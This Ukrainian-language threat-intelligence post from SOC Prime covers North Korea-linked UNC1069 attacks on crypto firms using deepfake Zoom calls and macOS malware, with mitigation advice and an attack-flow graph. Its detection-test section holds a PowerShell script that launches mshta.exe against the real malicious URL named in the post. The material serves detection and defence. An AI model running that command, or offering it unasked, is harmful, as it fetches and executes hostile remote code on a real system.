UNC1069 націлюється на сектор криптовалют з новими інструментами та соціальною інженерією на базі штучного інтелекту

Ruslan Mikhalov Керівник досліджень загроз у SOC Prime

Стежити

UNC1069 націлюється на сектор криптовалют з новими інструментами та соціальною інженерією на базі штучного інтелекту

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

ПОВ’ЯЗАНА З ПІВНІЧНОЮ КОРЕЄЮ UNC1069 націлилася на криптовалютну фінансову технологію за допомогою багатоступеневого вторгнення, яке поєднувало AI-створене відео-деепфейк, скомпрометовані облікові записи Telegram та фальшиву Zoom-зустріч для підштовхування жертв до виконання зловмисних команд.

Розслідування

Mandiant виявив сім родин зловмисного програмного забезпечення на macOS хосту, включаючи нові SILENCELIFT, DEEPBREATH і CHROMEPUSH, а також відомий завантажувач SUGARLOADER. Ланцюжок почався з команди в стилі ClickFix, яка отримувала завантаження з зловмисного домену, потім проходила через завантажувачі та бекдори, які крали облікові дані, дані браузера та вміст повідомлень. Пізніші етапи використовували модульне виконання в пам’яті для мінімізації слідів на диску.

Пом’якшення

Посилити верифікацію в соціально-інженерних каналах, обмежити виконання непідписаних скриптів та моніторити аномальне використання curl або mshta. На macOS застосовуйте контроль підписування коду та демонів запуску, перевіряйте дозволи TCC і каталоги хостів рідного обміну повідомленнями на наявність невідомих файлів.

Відповідь

Ізолювати кінцеву точку, зберегти артефакти командного рядка, отримати шкідливий plist демон запуску та блокувати всі виявлені домени C2. Скинути ключі облікового запису, облікові дані браузера і Telegram, а також провести перевірку на залишкові завантажувачі. Перегляньте уражені облікові записи на предмет несанкціонованого доступу та координуйте стримування.

"graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#99ff99 %% Вузли action_initial_access["Дія – T1204.001 Виконання користувачем: Зловмисне посилання надіслано через скомпрометований обліковий запис Telegram і підроблену Zoom зустріч Опис: Жертва скопіювала та виконала команди"] class action_initial_access action tool_telegram["Інструмент – Назва: Telegram (скомпрометовано) Роль: Канал доставлення зловмисного посилання"] class tool_telegram tool tool_zoom["Інструмент – Назва: Zoom (підроблена зустріч) Роль: Вектор соціальної інженерії"] class tool_zoom tool action_execution_unix_shell["Дія – T1059.004 Unix Shell: Виконати команду curl через zsh для завантаження WAVESHAPER Опис: Завантажує та виконує бекдор"] class action_execution_unix_shell action tool_curl["Інструмент – Назва: curl Призначення: Отримання віддаленого завантаження"] class tool_curl tool malware_waveshaper["Зловмисне ПЗ – Назва: WAVESHAPER Функція: Бекдор, завантажений та виконаний"] class malware_waveshaper malware action_execution_mshta["Дія – T1218.005 Виконання через проксі Mshta: Використовуйте mshta для отримання та запуску завантажувача HYPERCALL"] class action_execution_mshta action tool_mshta["Інструмент – Назва: mshta Призначення: Виконання віддаленого HTML застосунку"] class tool_mshta tool malware_hypercall["Зловмисне ПЗ – Назва: HYPERCALL Функція: Завантажувач, виконаний через mshta"] class malware_hypercall malware process_launch_daemon["Процес – T1543.004 Демон запуску: com.apple.system.updater Призначення: Запускає SUGARLOADER при запуску системи"] class process_launch_daemon process malware_sugarloader["Зловмисне ПЗ – Назва: SUGARLOADER Функція: Складова для постійності"] class malware_sugarloader malware action_defense_evasion["Дія – T1027.004 Компілювання після доставки: Шифрує конфігурацію за допомогою RC4 для приховування URL-адрес C2"] class action_defense_evasion action malware_deepbreath["Зловмисне ПЗ – Назва: DEEPBREATH Можливості: Доступ до Keychain і сховищ браузера"] class malware_deepbreath malware action_cred_keychain["Дія – T1555.001 Keychain: Витяг облікових даних з macOS Keychain"] class action_cred_keychain action action_cred_browser["Дія – T1555.003 Веб-браузери: Витяг файлів cookie, даних входу, розширень з Chrome Brave Edge"] class action_cred_browser action malware_chromepush["Зловмисне ПЗ – Назва: CHROMEPUSH Здатність: Розширення браузера кейлоггер"] class malware_chromepush malware action_keylogging["Дія – T1056.001 Кейлогінг: Фіксація натискань клавіш через зловмисне розширення"] class action_keylogging action action_local_staging["Дія – T1074.001 Локальна підготовка даних: Зберегти зібрані дані в тимчасових каталогах"] class action_local_staging action action_remote_staging["Дія – T1074.002 Віддалена підготовка даних: Завантажити підготовлені дані до C2 за допомогою curl"] class action_remote_staging action action_c2_http["Дія – T1102.003 Веб-служба Oneu2011Way: Відправка ексфільтрованих даних через HTTP POST"] class action_c2_http action action_exfiltration["Дія – T1020 Автоматизована ексфільтрація: Автоматичне завантаження даних на сервери C2"] class action_exfiltration action %% З’єднання action_initial_access –>|використовує| tool_telegram tool_telegram –>|доставляє посилання до| tool_zoom tool_zoom –>|веде до| action_execution_unix_shell action_execution_unix_shell –>|виконує| tool_curl tool_curl –>|завантажує| malware_waveshaper malware_waveshaper –>|активує| action_defense_evasion action_initial_access –>|також активує| action_execution_mshta action_execution_mshta –>|використовує| tool_mshta tool_mshta –>|отримує| malware_hypercall malware_hypercall –>|встановлює| process_launch_daemon process_launch_daemon –>|запускає| malware_sugarloader malware_sugarloader –>|завантажує| malware_deepbreath malware_deepbreath –>|виконує| action_cred_keychain malware_deepbreath –>|виконує| action_cred_browser malware_deepbreath –>|встановлює| malware_chromepush malware_chromepush –>|виконує| action_keylogging action_keylogging –>|зберігає дані в| action_local_staging action_local_staging –>|завантажує через curl до| action_remote_staging action_remote_staging –>|відправляє дані до| action_c2_http action_c2_http –>|сприяє| action_exfiltration %% Призначення класів class action_initial_access,action_execution_unix_shell,action_execution_mshta,action_defense_evasion,action_cred_keychain,action_cred_browser,action_keylogging,action_local_staging,action_remote_staging,action_c2_http,action_exfiltration action class tool_telegram,tool_zoom,tool_curl,tool_mshta tool class malware_waveshaper,malware_hypercall,malware_sugarloader,malware_deepbreath,malware_chromepush malware class process_launch_daemon process "

Потік атаки

Наратив атаки та команди:
Агресор, здобувши початковий плацдарм через фішинговий електронний лист, використовує mshta для завантаження зловмисного HTML застосунку з https://mylingocoin.com/audio/fix/6454694440. Цей файл HTA містить PowerShell навантаження, яке встановлює майнер криптовалют. Перед запуском HTA нападник виконує setx audio_volume 100 для того, щоб гарантувати, що аудіопідсистема перебуває в відомому стані (деякі варіанти кампанії ClickFix маніпулюють налаштуваннями аудіо, щоб приховати спливаючі вікна). Обидві команди виконуються безпосередньо в консолі PowerShell, створюючи поля CommandLine, які точно відповідають правилу Sigma.

Сценарій регресивного тесту:

# Симуляція атаки UNC1069 ClickFix — активує Sigma правило
# Крок 1: Зберегти незначний варіант змінної середовища (відповідає виявленню)
setx audio_volume 100

# Крок 2: Виконати зловмисний HTA — точна URL-адреса, використана у виявленні правила
$maliciousUrl = "https://mylingocoin.com/audio/fix/6454694440"
Start-Process -FilePath "mshta.exe" -ArgumentList $maliciousUrl

# Опціонально: зачекайте кілька секунд, щоб HTA запустився
Start-Sleep -Seconds 5

Команди очистки:

# Видаліть раніше встановлену змінну середовища
reg delete "HKCUEnvironment" /v "audio_volume" /f

# Зупиніть будь-які з процесів mshta, що залишилися після тесту
Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно